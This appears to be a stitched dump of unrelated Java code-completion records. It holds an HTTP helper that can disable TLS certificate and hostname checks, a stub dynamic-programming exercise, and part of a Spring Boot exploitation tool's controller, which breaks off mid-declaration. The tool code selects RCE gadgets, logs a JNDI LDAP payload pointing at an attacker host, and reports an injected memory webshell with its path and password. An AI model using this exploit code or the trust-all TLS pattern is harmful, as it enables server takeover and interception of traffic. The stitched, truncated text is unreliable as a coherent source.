{ e.printStackTrace(); } } if (connection != null) { connection.disconnect(); } } return result; } /** * 发起http的get请求支持忽略SSL校验 * * @param httpurl * @param isIgnoreSSL 是否忽略SSL校验 * @return */ public static String sendGetSSL(String httpurl, boolean isIgnoreSSL) { HttpURLConnection connection = null; InputStream is = null; BufferedReader br = null; String result = null;// 返回结果字符串 try { if (isIgnoreSSL) { //该部分必须在获取connection前调用 trustAllHttpsCertificates(); HostnameVerifier hv = new HostnameVerifier() { @Override public boolean verify(String urlHostName, SSLSession session) { return true; } }; HttpsURLConnection.setDefaultHostnameVerifier(hv); connection = (HttpURLConnection) new URL(httpurl).openConnection(); // 设置连接方式:get connection.setRequestMethod("GET"); // 设置连接主机服务器的超时时间:15000毫秒 connection.setConnectTimeout(15000); // 设置读取远程返回的数据时间:60000毫秒 connection.setReadTimeout(60000); } else { // 创建远程url连接对象 URL url = new URL(httpurl); // 通过远程url连接对象打开一个连接,强转成httpURLConnection类 connection = (HttpURLConnection) url.openConnection(); // 设置连接方式:get connection.setRequestMethod("GET"); // 设置连接主机服务器的超时时间:15000毫秒 connection.setConnectTimeout(15000); // 设置读取远程返回的数据时间:60000毫秒 connection.setReadTimeout(60000); } // 发送请求 connection.connect(); // 通过connection连接,获取输入流 if (connection.getResponseCode() == 200) { is = connection.getInputStream(); // 封装输入流is,并指定字符集 br = new BufferedReader(new InputStreamReader(is, Opslab.UTF_8)); // 存放数据 StringBuilder sbf = new StringBuilder(); String temp; while ((temp = br.readLine()) != null) { sbf.append(temp); sbf.append("\r\n"); } result = sbf.toString(); } } catch (Exception e) { e.printStackTrace(); } finally { // 关闭资源 if (null != br) { try { br.close(); } catch (IOException e) { e.printStackTrace(); } } if (null != is) { try { is.close(); } catch (IOException e) { e.printStackTrace(); } } if (connection != null) { connection.disconnect(); } } return result; } /** * 发起POST请求 * * @param httpUrl * @param param * @return */ public static String sendPost(String httpUrl, String param) { HttpURLConnection connection = null; InputStream is = null; OutputStream os = null; BufferedReader br = null; String result = null; try { URL url = new URL(httpUrl); // 通过远程url连接对象打开连接 connection = (HttpURLConnection) url.openConnection(); // 设置连接请求方式 connection.setRequestMethod("POST"); // 设置连接主机服务器超时时间:15000毫秒 connection.setConnectTimeout(15000); // 设置读取主机服务器返回数据超时时间:60000毫秒 connection.setReadTimeout(60000); // 默认值为:false,当向远程服务器传送数据/写数据时,需要设置为true connection.setDoOutput(true); // 默认值为:true,当前向远程服务读取数据时,设置为true,该参数可有可无 connection.setDoInput(true); // 设置传入参数的格式:请求参数应该是 name1=value1&name2=value2 的形式。 connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); // 设置鉴权信息:Authorization: Bearer da3efcbf-0845-4fe3-8aba-ee040be542c0 //connection.setRequestProperty("Authorization", ""); // 通过连接对象获取一个输出流 os = connection.getOutputStream(); // 通过输出流对象将参数写出去/传输出去,它是通过字节数组写出的 os.write(param.getBytes()); // 通过连接对象获取一个输入流,向远程读取 if (connection.getResponseCode() == 200) { is = connection.getInputStream(); // 对输入流对象进行包装:charset根据工作项目组的要求来设置 br = new BufferedReader(new InputStreamReader(is, Opslab.UTF_8)); StringBuilder sbf = new StringBuilder(); String temp; // 循环遍历一行一行读取数据 while ((temp = br.readLine()) != null) { sbf.append(temp); sbf.append("\r\n"); } result = sbf.toString(); } } catch (Exception e) { e.printStackTrace(); } finally { if (null != br) { try { br.close(); } catch (IOException e) { e.printStackTrace(); } } if (null != os) { try { os.close(); } catch (IOException e) { e.printStackTrace(); } } if (null != is) { try { is.close(); } catch (IOException e) { e.printStackTrace(); } } if (connection != null) { connection.disconnect(); } } return result; } /** * 发起POST请求 支持忽略SSL校验 * * @param httpUrl * @param param * @param isIgnoreSSL * @return */ public static String sendPostSSL(String httpUrl, String param, boolean isIgnoreSSL) { HttpURLConnection connection = null; InputStream is = null; OutputStream os = null; BufferedReader br = null; String result = null; try { if (isIgnoreSSL) { //该部分必须在获取connection前调用 trustAllHttpsCertificates(); HostnameVerifier hv = new HostnameVerifier() { @Override public boolean verify(String urlHostName, SSLSession session) { return true; } }; HttpsURLConnection.setDefaultHostnameVerifier(hv); connection = (HttpURLConnection) new URL(httpUrl).openConnection(); // 设置连接方式:get connection.setRequestMethod("GET"); // 设置连接主机服务器的超时时间:15000毫秒 connection.setConnectTimeout(15000); // 设置读取远程返回的数据时间:60000毫秒 connection.setReadTimeout(60000); } else { URL url = new URL(httpUrl); // 通过远程url连接对象打开连接 connection = (HttpURLConnection) url.openConnection(); // 设置连接请求方式 connection.setRequestMethod("POST"); // 设置连接主机服务器超时时间:15000毫秒 connection.setConnectTimeout(15000); // 设置读取主机服务器返回数据超时时间:60000毫秒 connection.setReadTimeout(60000); } // 默认值为:false,当向远程服务器传送数据/写数据时,需要设置为true connection.setDoOutput(true); // 默认值为:true,当前向远程服务读取数据时,设置为true,该参数可有可无 connection.setDoInput(true); // 设置传入参数的格式:请求参数应该是 name1=value1&name2=value2 的形式。 connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); // 设置鉴权信息:Authorization: Bearer da3efcbf-0845-4fe3-8aba-ee040be542c0 //connection.setRequestProperty("Authorization", ""); // 通过连接对象获取一个输出流 os = connection.getOutputStream(); // 通过输出流对象将参数写出去/传输出去,它是通过字节数组写出的 os.write(param.getBytes()); // 通过连接对象获取一个输入流,向远程读取 if (connection.getResponseCode() == 200) { is = connection.getInputStream(); // 对输入流对象进行包装:charset根据工作项目组的要求来设置 br = new BufferedReader(new InputStreamReader(is, Opslab.UTF_8)); StringBuilder sbf = new StringBuilder(); String temp; // 循环遍历一行一行读取数据 while ((temp = br.readLine()) != null) { sbf.append(temp); sbf.append("\r\n"); } result = sbf.toString(); } } catch (Exception e) { e.printStackTrace(); } finally { if (null != br) { try { br.close(); } catch (IOException e) { e.printStackTrace(); } } if (null != os) { try { os.close(); } catch (IOException e) { e.printStackTrace(); } } if (null != is) { try { is.close(); } catch (IOException e) { e.printStackTrace(); } } if (connection != null) { connection.disconnect(); } } return result; } /** * 开启SSL忽略 */ private static void trustAllHttpsCertificates() throws Exception { javax.net.ssl.TrustManager[] trustAllCerts = new javax.net.ssl.TrustManager[1]; javax.net.ssl.TrustManager tm = new SSLmiTM(); trustAllCerts[0] = tm; javax.net.ssl.SSLContext sc = javax.net.ssl.SSLContext.getInstance("SSL"); sc.init(null, trustAllCerts, null); javax.net.ssl.HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory()); } }
0opslab/opslabJutil
src/main/java/com/opslab/helper/HttpHelper.java
2,843
// 默认值为:false,当向远程服务器传送数据/写数据时,需要设置为true
line_comment
zh-cn
package com.opslab.helper; import com.opslab.Opslab; import com.opslab.useful.SSLmiTM; import javax.net.ssl.HostnameVerifier; import javax.net.ssl.HttpsURLConnection; import javax.net.ssl.SSLSession; import java.io.*; import java.net.HttpURLConnection; import java.net.URL; /** * 封装常见的HTTP方法 */ public final class HttpHelper { /** * 发起http的get请求 * * @param httpurl * @return */ public static String sendGet(String httpurl) { HttpURLConnection connection = null; InputStream is = null; BufferedReader br = null; String result = null;// 返回结果字符串 try { // 创建远程url连接对象 URL url = new URL(httpurl); // 通过远程url连接对象打开一个连接,强转成httpURLConnection类 connection = (HttpURLConnection) url.openConnection(); // 设置连接方式:get connection.setRequestMethod("GET"); // 设置连接主机服务器的超时时间:15000毫秒 connection.setConnectTimeout(15000); // 设置读取远程返回的数据时间:60000毫秒 connection.setReadTimeout(60000); // 发送请求 connection.connect(); // 通过connection连接,获取输入流 if (connection.getResponseCode() == 200) { is = connection.getInputStream(); // 封装输入流is,并指定字符集 br = new BufferedReader(new InputStreamReader(is, Opslab.UTF_8)); // 存放数据 StringBuilder sbf = new StringBuilder(); String temp = null; while ((temp = br.readLine()) != null) { sbf.append(temp); sbf.append("\r\n"); } result = sbf.toString(); } } catch (Exception e) { e.printStackTrace(); } finally { // 关闭资源 if (null != br) { try { br.close(); } catch (IOException e) { e.printStackTrace(); } } if (null != is) { try { is.close(); } catch (IOException e) { e.printStackTrace(); } } if (connection != null) { connection.disconnect(); } } return result; } /** * 发起http的get请求支持忽略SSL校验 * * @param httpurl * @param isIgnoreSSL 是否忽略SSL校验 * @return */ public static String sendGetSSL(String httpurl, boolean isIgnoreSSL) { HttpURLConnection connection = null; InputStream is = null; BufferedReader br = null; String result = null;// 返回结果字符串 try { if (isIgnoreSSL) { //该部分必须在获取connection前调用 trustAllHttpsCertificates(); HostnameVerifier hv = new HostnameVerifier() { @Override public boolean verify(String urlHostName, SSLSession session) { return true; } }; HttpsURLConnection.setDefaultHostnameVerifier(hv); connection = (HttpURLConnection) new URL(httpurl).openConnection(); // 设置连接方式:get connection.setRequestMethod("GET"); // 设置连接主机服务器的超时时间:15000毫秒 connection.setConnectTimeout(15000); // 设置读取远程返回的数据时间:60000毫秒 connection.setReadTimeout(60000); } else { // 创建远程url连接对象 URL url = new URL(httpurl); // 通过远程url连接对象打开一个连接,强转成httpURLConnection类 connection = (HttpURLConnection) url.openConnection(); // 设置连接方式:get connection.setRequestMethod("GET"); // 设置连接主机服务器的超时时间:15000毫秒 connection.setConnectTimeout(15000); // 设置读取远程返回的数据时间:60000毫秒 connection.setReadTimeout(60000); } // 发送请求 connection.connect(); // 通过connection连接,获取输入流 if (connection.getResponseCode() == 200) { is = connection.getInputStream(); // 封装输入流is,并指定字符集 br = new BufferedReader(new InputStreamReader(is, Opslab.UTF_8)); // 存放数据 StringBuilder sbf = new StringBuilder(); String temp; while ((temp = br.readLine()) != null) { sbf.append(temp); sbf.append("\r\n"); } result = sbf.toString(); } } catch (Exception e) { e.printStackTrace(); } finally { // 关闭资源 if (null != br) { try { br.close(); } catch (IOException e) { e.printStackTrace(); } } if (null != is) { try { is.close(); } catch (IOException e) { e.printStackTrace(); } } if (connection != null) { connection.disconnect(); } } return result; } /** * 发起POST请求 * * @param httpUrl * @param param * @return */ public static String sendPost(String httpUrl, String param) { HttpURLConnection connection = null; InputStream is = null; OutputStream os = null; BufferedReader br = null; String result = null; try { URL url = new URL(httpUrl); // 通过远程url连接对象打开连接 connection = (HttpURLConnection) url.openConnection(); // 设置连接请求方式 connection.setRequestMethod("POST"); // 设置连接主机服务器超时时间:15000毫秒 connection.setConnectTimeout(15000); // 设置读取主机服务器返回数据超时时间:60000毫秒 connection.setReadTimeout(60000); // 默认 <SUF> connection.setDoOutput(true); // 默认值为:true,当前向远程服务读取数据时,设置为true,该参数可有可无 connection.setDoInput(true); // 设置传入参数的格式:请求参数应该是 name1=value1&name2=value2 的形式。 connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); // 设置鉴权信息:Authorization: Bearer da3efcbf-0845-4fe3-8aba-ee040be542c0 //connection.setRequestProperty("Authorization", ""); // 通过连接对象获取一个输出流 os = connection.getOutputStream(); // 通过输出流对象将参数写出去/传输出去,它是通过字节数组写出的 os.write(param.getBytes()); // 通过连接对象获取一个输入流,向远程读取 if (connection.getResponseCode() == 200) { is = connection.getInputStream(); // 对输入流对象进行包装:charset根据工作项目组的要求来设置 br = new BufferedReader(new InputStreamReader(is, Opslab.UTF_8)); StringBuilder sbf = new StringBuilder(); String temp; // 循环遍历一行一行读取数据 while ((temp = br.readLine()) != null) { sbf.append(temp); sbf.append("\r\n"); } result = sbf.toString(); } } catch (Exception e) { e.printStackTrace(); } finally { if (null != br) { try { br.close(); } catch (IOException e) { e.printStackTrace(); } } if (null != os) { try { os.close(); } catch (IOException e) { e.printStackTrace(); } } if (null != is) { try { is.close(); } catch (IOException e) { e.printStackTrace(); } } if (connection != null) { connection.disconnect(); } } return result; } /** * 发起POST请求 支持忽略SSL校验 * * @param httpUrl * @param param * @param isIgnoreSSL * @return */ public static String sendPostSSL(String httpUrl, String param, boolean isIgnoreSSL) { HttpURLConnection connection = null; InputStream is = null; OutputStream os = null; BufferedReader br = null; String result = null; try { if (isIgnoreSSL) { //该部分必须在获取connection前调用 trustAllHttpsCertificates(); HostnameVerifier hv = new HostnameVerifier() { @Override public boolean verify(String urlHostName, SSLSession session) { return true; } }; HttpsURLConnection.setDefaultHostnameVerifier(hv); connection = (HttpURLConnection) new URL(httpUrl).openConnection(); // 设置连接方式:get connection.setRequestMethod("GET"); // 设置连接主机服务器的超时时间:15000毫秒 connection.setConnectTimeout(15000); // 设置读取远程返回的数据时间:60000毫秒 connection.setReadTimeout(60000); } else { URL url = new URL(httpUrl); // 通过远程url连接对象打开连接 connection = (HttpURLConnection) url.openConnection(); // 设置连接请求方式 connection.setRequestMethod("POST"); // 设置连接主机服务器超时时间:15000毫秒 connection.setConnectTimeout(15000); // 设置读取主机服务器返回数据超时时间:60000毫秒 connection.setReadTimeout(60000); } // 默认值为:false,当向远程服务器传送数据/写数据时,需要设置为true connection.setDoOutput(true); // 默认值为:true,当前向远程服务读取数据时,设置为true,该参数可有可无 connection.setDoInput(true); // 设置传入参数的格式:请求参数应该是 name1=value1&name2=value2 的形式。 connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); // 设置鉴权信息:Authorization: Bearer da3efcbf-0845-4fe3-8aba-ee040be542c0 //connection.setRequestProperty("Authorization", ""); // 通过连接对象获取一个输出流 os = connection.getOutputStream(); // 通过输出流对象将参数写出去/传输出去,它是通过字节数组写出的 os.write(param.getBytes()); // 通过连接对象获取一个输入流,向远程读取 if (connection.getResponseCode() == 200) { is = connection.getInputStream(); // 对输入流对象进行包装:charset根据工作项目组的要求来设置 br = new BufferedReader(new InputStreamReader(is, Opslab.UTF_8)); StringBuilder sbf = new StringBuilder(); String temp; // 循环遍历一行一行读取数据 while ((temp = br.readLine()) != null) { sbf.append(temp); sbf.append("\r\n"); } result = sbf.toString(); } } catch (Exception e) { e.printStackTrace(); } finally { if (null != br) { try { br.close(); } catch (IOException e) { e.printStackTrace(); } } if (null != os) { try { os.close(); } catch (IOException e) { e.printStackTrace(); } } if (null != is) { try { is.close(); } catch (IOException e) { e.printStackTrace(); } } if (connection != null) { connection.disconnect(); } } return result; } /** * 开启SSL忽略 */ private static void trustAllHttpsCertificates() throws Exception { javax.net.ssl.TrustManager[] trustAllCerts = new javax.net.ssl.TrustManager[1]; javax.net.ssl.TrustManager tm = new SSLmiTM(); trustAllCerts[0] = tm; javax.net.ssl.SSLContext sc = javax.net.ssl.SSLContext.getInstance("SSL"); sc.init(null, trustAllCerts, null); javax.net.ssl.HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory()); } }
0
59207_1
package Arithmetic.DP; import java.util.Scanner; /** * Created by user on 2017/6/3. */ /* Michael喜欢滑雪百这并不奇怪, 因为滑雪的确很刺激。 可是为了获得速度,滑的区域必须向下倾斜,而且当你滑到坡底, 你不得不再次走上坡或者等待升降机来载你。 Michael想知道载一个区域中最长的滑坡。区域由一个二维数组给出。数组的每个数字 代表点的高度。下面是一个例子 1 2 3 4 5 16 17 18 19 6 15 24 25 20 7 14 23 22 21 8 13 12 11 10 9 一个人可以从某个点滑向上下左右相邻四个点之一,当且仅当高度减小。在上面的例子 中,一条可滑行的滑坡为24-17-16-1。当然25-24-23-...-3-2-1更长。事实上,这是最 长的一条。输入输入的第一行表示区域的行数R和列数C(1 <= R,C <= 100)。下面是R行, 每行有C个整数,代表高度h,0<=h<=10000。输出输出最长区域的长度。 72 输入 输入的第一行表示区域的行数R和列数C (1 <= R,C <= 100)。下面是R行,每行有C个整数, 代表高度h,0<=h<=10000。 输出 输出最长区域的长度。 样例输入 5 5 1 2 3 4 5 16 17 18 19 6 15 24 25 20 7 14 23 22 21 8 13 12 11 10 9 样例输出 25 */ public class Example05 { public static void main(String[] args) { Scanner input = new Scanner(System.in); int n = input.nextInt(); int m = input.nextInt(); int a[][] = new int[n][m]; for(int i = 0 ; i<n;i++){ for(int j = 0;j<m;j++) a[i][j] = input.nextInt(); } for(int i = 0 ; i<n;i++) { for (int j = 0; j < m; j++) { } } } }
0ranges/OldTest
src/Arithmetic/DP/Example05.java
658
/* Michael喜欢滑雪百这并不奇怪, 因为滑雪的确很刺激。 可是为了获得速度,滑的区域必须向下倾斜,而且当你滑到坡底, 你不得不再次走上坡或者等待升降机来载你。 Michael想知道载一个区域中最长的滑坡。区域由一个二维数组给出。数组的每个数字 代表点的高度。下面是一个例子 1 2 3 4 5 16 17 18 19 6 15 24 25 20 7 14 23 22 21 8 13 12 11 10 9 一个人可以从某个点滑向上下左右相邻四个点之一,当且仅当高度减小。在上面的例子 中,一条可滑行的滑坡为24-17-16-1。当然25-24-23-...-3-2-1更长。事实上,这是最 长的一条。输入输入的第一行表示区域的行数R和列数C(1 <= R,C <= 100)。下面是R行, 每行有C个整数,代表高度h,0<=h<=10000。输出输出最长区域的长度。 72 输入 输入的第一行表示区域的行数R和列数C (1 <= R,C <= 100)。下面是R行,每行有C个整数, 代表高度h,0<=h<=10000。 输出 输出最长区域的长度。 样例输入 5 5 1 2 3 4 5 16 17 18 19 6 15 24 25 20 7 14 23 22 21 8 13 12 11 10 9 样例输出 25 */
block_comment
zh-cn
package Arithmetic.DP; import java.util.Scanner; /** * Created by user on 2017/6/3. */ /* Mic <SUF>*/ public class Example05 { public static void main(String[] args) { Scanner input = new Scanner(System.in); int n = input.nextInt(); int m = input.nextInt(); int a[][] = new int[n][m]; for(int i = 0 ; i<n;i++){ for(int j = 0;j<m;j++) a[i][j] = input.nextInt(); } for(int i = 0 ; i<n;i++) { for (int j = 0; j < m; j++) { } } } }
1
4488_28
package com.drops.ui; import com.drops.entity.ControllersFactory; import com.drops.main.AttackService; import com.drops.poc.SpringBootInfo; import com.drops.utils.*; import javafx.beans.value.ChangeListener; import javafx.beans.value.ObservableValue; import javafx.collections.FXCollections; import javafx.collections.ObservableList; import javafx.event.ActionEvent; import javafx.event.EventHandler; import javafx.fxml.FXML; import javafx.geometry.Insets; import javafx.geometry.Pos; import javafx.scene.control.*; import javafx.scene.layout.GridPane; import javafx.scene.layout.HBox; import javafx.stage.Window; import javafx.stage.WindowEvent; import java.net.Authenticator; import java.net.InetSocketAddress; import java.net.PasswordAuthentication; import java.net.Proxy; import java.util.HashMap; import java.util.List; import java.util.Map; /** * @ClassName: Gui * @Description: TODO * @Author: Summer * @Date: 2021/7/20 16:50 * @Version: v1.0.0 * @Description: **/ public class MainController { @FXML private MenuItem proxySetupBtn; public static Map currentProxy = new HashMap(); // 设置 目标地址 @FXML private TextField targetAddress; // 设置超时 @FXML private TextField httpTimeout; @FXML private TextField vps; @FXML private Button crackKeyBtn; @FXML private Button crackSpcKeyBtn; @FXML public ComboBox<String> gadgetOpt; @FXML public ComboBox<String> echoOpt ; @FXML private Button crackGadgetBtn; @FXML private Button crackSpcGadgetBtn; @FXML public TextArea logTextArea; @FXML private Label proxyStatusLabel; @FXML private TextField exCommandText; @FXML public TextArea execOutputArea; @FXML private Button executeCmdBtn; @FXML public ComboBox<String> memShellOpt; @FXML private TextField shellPathText; @FXML private TextField shellPassText; @FXML private Button injectShellBtn; @FXML public TextArea InjOutputArea; public static TextArea ip; @FXML public TextField hport; @FXML public TextField lport; public static String hports; public static String lports; LDAPUtil ldapUtil = null; public AttackService attackService = null; @FXML void initialize() { this.initToolbar(); this.initComBoBox(); // this.initContext(); this.initConnect(); this.initAttack(); ControllersFactory.controllers.put(MainController.class.getSimpleName(), this); } public void initAttack() { String targetAddressText = this.targetAddress.getText(); String httpTimeoutText = this.httpTimeout.getText(); boolean version = false; this.attackService = new AttackService(targetAddressText, httpTimeoutText); } private void initConnect() { // this.vps.setText("1.116.32.76"); this.vps.setText("127.0.0.1"); this.httpTimeout.setText("50"); this.targetAddress.setText("http://127.0.0.1:9095"); this.lport.setText("1389"); this.hport.setText("3456"); } private void initComBoBox() { ObservableList<String> gadgets = FXCollections.observableArrayList(new String[]{ "SnakeYAMLRCE", "SpELRCE", "EurekaXstreamRCE", "JolokiaLogbackRCE", "JolokiaRealmRCE", "H2DatabaseConsoleJNDIRCE", "SpringCloudGatewayRCE"}); this.gadgetOpt.setPromptText("SnakeYAMLRCE"); this.gadgetOpt.setValue("SnakeYAMLRCE"); this.gadgetOpt.setItems(gadgets); // ObservableList<String> echoes =FXCollections.observableArrayList(new String[]{"TomcatEcho","SpringEcho"}); // this.echoOpt.setPromptText("TomcatEcho"); // this.echoOpt.setValue("TomcatEcho"); // this.echoOpt.setItems(echoes); // this.shellPassText.setText("cat666"); // this.shellPathText.setText("/catcat66"); // final ObservableList<String> memShells = FXCollections.observableArrayList(new String[]{"哥斯拉[Filter]", "蚁剑[Filter]", "冰蝎[Filter]", "NeoreGeorg[Filter]", "reGeorg[Filter]", "哥斯拉[Servlet]", "蚁剑[Servlet]", "冰蝎[Servlet]", "NeoreGeorg[Servlet]", "reGeorg[Servlet]"}); // this.memShellOpt.setPromptText("冰蝎[Filter]"); // this.memShellOpt.setValue("冰蝎[Filter]"); // this.memShellOpt.setItems(memShells); // this.memShellOpt.getSelectionModel().selectedIndexProperty().addListener(new ChangeListener<Number>() { // @Override // public void changed(ObservableValue<? extends Number> observableValue, Number number, Number number2) { // if (((String)memShells.get(number2.intValue())).contains("reGeorg")) { // MainController.this.shellPassText.setDisable(true); // } else { // MainController.this.shellPassText.setDisable(false); // } // // } // }); } private void initToolbar() { this.proxySetupBtn.setOnAction(new EventHandler<ActionEvent>() { @Override public void handle(ActionEvent event) { final Alert inputDialog = new Alert(Alert.AlertType.NONE); inputDialog.setResizable(true); final Window window = inputDialog.getDialogPane().getScene().getWindow(); window.setOnCloseRequest(new EventHandler<WindowEvent>() { @Override public void handle(WindowEvent e) { window.hide(); } }); ToggleGroup statusGroup = new ToggleGroup(); RadioButton enableRadio = new RadioButton("启用"); final RadioButton disableRadio = new RadioButton("禁用"); enableRadio.setToggleGroup(statusGroup); disableRadio.setToggleGroup(statusGroup); HBox statusHbox = new HBox(); statusHbox.setSpacing(10.0D); statusHbox.getChildren().add(enableRadio); statusHbox.getChildren().add(disableRadio); GridPane proxyGridPane = new GridPane(); proxyGridPane.setVgap(15.0D); proxyGridPane.setPadding(new Insets(20.0D, 20.0D, 0.0D, 10.0D)); Label typeLabel = new Label("类型:"); final ComboBox<String> typeCombo = new ComboBox(); typeCombo.setItems(FXCollections.observableArrayList(new String[]{"HTTP", "SOCKS"})); typeCombo.getSelectionModel().select(0); Label IPLabel = new Label("IP地址:"); final TextField IPText = new TextField(); Label PortLabel = new Label("端口:"); final TextField PortText = new TextField(); Label userNameLabel = new Label("用户名:"); final TextField userNameText = new TextField(); Label passwordLabel = new Label("密码:"); final TextField passwordText = new TextField(); Button cancelBtn = new Button("取消"); Button saveBtn = new Button("保存"); saveBtn.setDefaultButton(true); if (currentProxy.get("proxy") != null) { Proxy currProxy = (Proxy) currentProxy.get("proxy"); String proxyInfo = currProxy.address().toString(); String[] info = proxyInfo.split(":"); String hisIpAddress = info[0].replace("/", ""); String hisPort = info[1]; IPText.setText(hisIpAddress); PortText.setText(hisPort); enableRadio.setSelected(true); System.out.println(proxyInfo); } else { enableRadio.setSelected(false); } saveBtn.setOnAction(new EventHandler<ActionEvent>() { @Override public void handle(ActionEvent e) { if (disableRadio.isSelected()) { currentProxy.put("proxy", (Object) null); // this.proxyStatusLabel.setText(""); inputDialog.getDialogPane().getScene().getWindow().hide(); } else { String type; String ipAddress; if (!userNameText.getText().trim().equals("")) { ipAddress = userNameText.getText().trim(); type = passwordText.getText(); final String finalIpAddress = ipAddress; final String finalType = type; Authenticator.setDefault(new Authenticator() { @Override public PasswordAuthentication getPasswordAuthentication() { return new PasswordAuthentication(finalIpAddress, finalType.toCharArray()); } }); } else { Authenticator.setDefault((Authenticator) null); } currentProxy.put("username", userNameText.getText()); currentProxy.put("password", passwordText.getText()); ipAddress = IPText.getText(); String port = PortText.getText(); InetSocketAddress proxyAddr = new InetSocketAddress(ipAddress, Integer.parseInt(port)); type = ((String) typeCombo.getValue()).toString(); Proxy proxy; if (type.equals("HTTP")) { proxy = new Proxy(Proxy.Type.HTTP, proxyAddr); currentProxy.put("proxy", proxy); } else if (type.equals("SOCKS")) { proxy = new Proxy(Proxy.Type.SOCKS, proxyAddr); currentProxy.put("proxy", proxy); } // this.proxyStatusLabel.setText("代理生效中: " + ipAddress + ":" + port); inputDialog.getDialogPane().getScene().getWindow().hide(); } } }); cancelBtn.setOnAction(new EventHandler<ActionEvent>() { @Override public void handle(ActionEvent e) { inputDialog.getDialogPane().getScene().getWindow().hide(); } }); proxyGridPane.add(statusHbox, 1, 0); proxyGridPane.add(typeLabel, 0, 1); proxyGridPane.add(typeCombo, 1, 1); proxyGridPane.add(IPLabel, 0, 2); proxyGridPane.add(IPText, 1, 2); proxyGridPane.add(PortLabel, 0, 3); proxyGridPane.add(PortText, 1, 3); proxyGridPane.add(userNameLabel, 0, 4); proxyGridPane.add(userNameText, 1, 4); proxyGridPane.add(passwordLabel, 0, 5); proxyGridPane.add(passwordText, 1, 5); HBox buttonBox = new HBox(); buttonBox.setSpacing(20.0D); buttonBox.setAlignment(Pos.CENTER); buttonBox.getChildren().add(cancelBtn); buttonBox.getChildren().add(saveBtn); GridPane.setColumnSpan(buttonBox, 2); proxyGridPane.add(buttonBox, 0, 6); inputDialog.getDialogPane().setContent(proxyGridPane); inputDialog.showAndWait(); } }); } public void crackSpcGadgetBtn(ActionEvent actionEvent) { if (this.attackService == null) { this.initAttack(); } if (!this.vps.getText().equals("") && !this.targetAddress.getText().equals("")){ if (this.gadgetOpt.getValue().equalsIgnoreCase("spelrce")){ SpelUtils spel = new SpelUtils(); String poc = spel.SpelExpr(this.vps.getText()); String ssti = spel.SpelSsti(this.vps.getText()); this.logTextArea.appendText(Utils.log("Payload 食用方法示例:http://127.0.0.1:9091/article?id=Payload")); this.logTextArea.appendText(Utils.log("ldap://" + this.vps.getText() + ":1389/basic/TomcatMemShell3")); this.logTextArea.appendText(Utils.log(poc)); this.logTextArea.appendText(Utils.log(ssti)); }else { boolean flag = this.attackService.gadgetSend(this.targetAddress.getText(), this.vps.getText(),this.gadgetOpt.getValue(),this.getPorts()); if(flag){ System.out.println(this.gadgetOpt.getValue()); if (this.gadgetOpt.getValue().equalsIgnoreCase("SpringCloudGatewayRCE")){ this.logTextArea.appendText(Utils.log(" SpringCloudGateway 漏洞利用成功")); this.logTextArea.appendText(Utils.log(" 请自行检查是NettyMemshell 还是 SpringRequestMappingMemshell!")); this.logTextArea.appendText(Utils.log(" 如果是SpringRequestMappingMemshell,/?cmd={cmd} 执行命令")); this.logTextArea.appendText(Utils.log(" 如果是NettyMemshell,header头 X-CMD: {cmd} 执行命令")); }else { if (HTTPUtils.getRequest(String.valueOf(this.targetAddress.getText()),"ateam").isOk()){ this.logTextArea.appendText(Utils.log(" 冰蝎内存马注入成功 !")); this.logTextArea.appendText(Utils.log( " /ateam 密码:ateamnb")); }else { this.logTextArea.appendText(Utils.log("漏洞利用失败!\t")); } } }else { this.logTextArea.appendText(Utils.log("漏洞利用失败!\t")); } } } } public void crackGadgetBtn(ActionEvent actionEvent) { } // 验证服务端是否配置成功 public boolean connect() { try { String vps = this.vps.getText(); if(!vps.isEmpty()){ // 判断http 服务是否生效 if(HTTPUtils.getRequest(vps + ":" + hport.getText() ,"isOK.txt").getStatus() == 200){ this.logTextArea.appendText(Utils.log("HTTP Server Is OK!")); this.logTextArea.appendText(Utils.log("HTTP Server Is Working " + vps + " 的 3456 Port!")); // 判断 ldap 服务是否生效 // if(ldapUtil.sendLDAPRequest(vps)){ // this.logTextArea.appendText(Utils.log("LDAP Server Is OK!")); // this.logTextArea.appendText(Utils.log("LDAP Server Is Working " + vps + " 的 1389 Port!")); // return true; // }else { // this.logTextArea.appendText(Utils.log("LDAP Server 绑定 1389 端口失败!")); // this.logTextArea.appendText(Utils.log("请检查 " + vps + " 的 1389端口是否被占用!")); // } return true; }else { this.logTextArea.appendText(Utils.log("HTTP Server 绑定 3456 端口失败!")); this.logTextArea.appendText(Utils.log("请检查 " + vps + "的3456端口是否被占用!")); } } }catch (Exception e){ this.logTextArea.appendText(Utils.log(e.getMessage())); } return false; } public void check(ActionEvent actionEvent) { try { SpringBootInfo info = new SpringBootInfo(); info.doCheck(this.targetAddress.getText()); }catch (Exception e){ this.logTextArea.appendText(Utils.log(e.getMessage())); } } public String[] getPorts(){ String[] result = new String[]{this.hport.getText(),this.lport.getText()}; return result; } }
0x727/SpringBootExploit
src/main/java/com/drops/ui/MainController.java
3,748
// 验证服务端是否配置成功
line_comment
zh-cn
package com.drops.ui; import com.drops.entity.ControllersFactory; import com.drops.main.AttackService; import com.drops.poc.SpringBootInfo; import com.drops.utils.*; import javafx.beans.value.ChangeListener; import javafx.beans.value.ObservableValue; import javafx.collections.FXCollections; import javafx.collections.ObservableList; import javafx.event.ActionEvent; import javafx.event.EventHandler; import javafx.fxml.FXML; import javafx.geometry.Insets; import javafx.geometry.Pos; import javafx.scene.control.*; import javafx.scene.layout.GridPane; import javafx.scene.layout.HBox; import javafx.stage.Window; import javafx.stage.WindowEvent; import java.net.Authenticator; import java.net.InetSocketAddress; import java.net.PasswordAuthentication; import java.net.Proxy; import java.util.HashMap; import java.util.List; import java.util.Map; /** * @ClassName: Gui * @Description: TODO * @Author: Summer * @Date: 2021/7/20 16:50 * @Version: v1.0.0 * @Description: **/ public class MainController { @FXML private MenuItem proxySetupBtn; public static Map currentProxy = new HashMap(); // 设置 目标地址 @FXML private TextField targetAddress; // 设置超时 @FXML private TextField httpTimeout; @FXML private TextField vps; @FXML private Button crackKeyBtn; @FXML private Button crackSpcKeyBtn; @FXML public ComboBox<String> gadgetOpt; @FXML public ComboBox<String> echoOpt ; @FXML private Button crackGadgetBtn; @FXML private Button crackSpcGadgetBtn; @FXML public TextArea logTextArea; @FXML private Label proxyStatusLabel; @FXML private TextField exCommandText; @FXML public 